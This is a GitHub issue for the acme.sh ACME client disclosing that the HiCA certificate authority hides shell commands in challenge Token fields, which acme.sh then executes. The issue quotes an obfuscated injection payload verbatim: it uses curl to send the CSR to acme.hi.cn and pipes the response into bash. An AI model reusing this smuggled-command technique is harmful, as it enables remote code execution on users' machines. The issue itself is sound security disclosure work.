acmesh-official / acme.sh

A pure Unix shell script implementing ACME client protocol
https://acme.sh
GNU General Public License v3.0
39.23k stars 4.96k forks source link

acme.sh runs arbitrary commands from a remote server #4659

Closed mholt closed 1 year ago

mholt commented 1 year ago

Hello,

You may already be aware of this, but HiCA is injecting arbitrary code/commands into the certificate obtaining process and acme.sh is running them on the client machine. I am not sure if this is intentional, expected by users, or safe/unsafe. But I'm documenting my findings for the public to be aware of with this CA.

HiCA's documentation explains that it only supports acme.sh as a client. This was curious to me so I tried to learn why, if it is using ACME (and the ACME logo!) it should be basically compatible with the majority of ACME clients. While obtaining a certificate using ACMEz, I discovered that the Directory was blocked unless the User-Agent is set to a string that starts with Mozilla or acme.sh/2.8.2 (https://github.com/Neilpang/acme.sh). (Firefox loaded the directory just fine, which is surprising because Firefox is not acme.sh.) (I also noticed that caaIdentities includes a variety of CAs including Google Trust Services and SSL.com. Curious.)

Once I faked the UA in my own client and got that working, issuance still failed. Curiously, the error message involved trying a URL of ../pki-validation. This doesn't make any sense to me even though that kind of appears in their docs because it is not standard ACME, so I dug a little deeper to figure out what the Challenge object consisted of that would cause my client to try making a request to ../pki-validation.

It turns out that the Challenge objects look unusual. Here's a lightly-formatted example:

{
    Type: http-01
    URL: ../pki-validation
    Status: pending
    Token: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#
    KeyAuthorization: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#.GfCBN3dYnfNB-Hj1nBYek89o9ohtt9K59uacS13wigw
}

Now it became immediately obvious to my why HiCA only supports acme.sh. They are not conforming to ACME at all! (Bugs the heck outa me that they're using the official ACME logo on their site even though they don't implement the ACME standard.)

Instead, HiCA is stealthily crafting curl commands and piping the output to bash. acme.sh is (being tricked into?) running arbitrary code from a remote server. :exclamation:

Here's my analysis so far:

The Token string is NOT in conformance with RFC 8555, which states: "the token for a challenge is a string comprised entirely of characters in the URL safe base64 alphabet." (# is not URL-safe).

However you can tell they're abusing this Token string to encode structure that can be parsed by splitting on "#":

Anyway, this all seems very worrisome to me.

I am not sure why HiCA is doing what they are doing. But this intentional deviation from RFC 8555 and the lack of transparency on their docs is suspicious and concerning.

I am not sure if it is intentional that acme.sh is allowing arbitrary commands from a remote server to execute.

Hopefully this is helpful and maybe you can provide some insight and recommendations.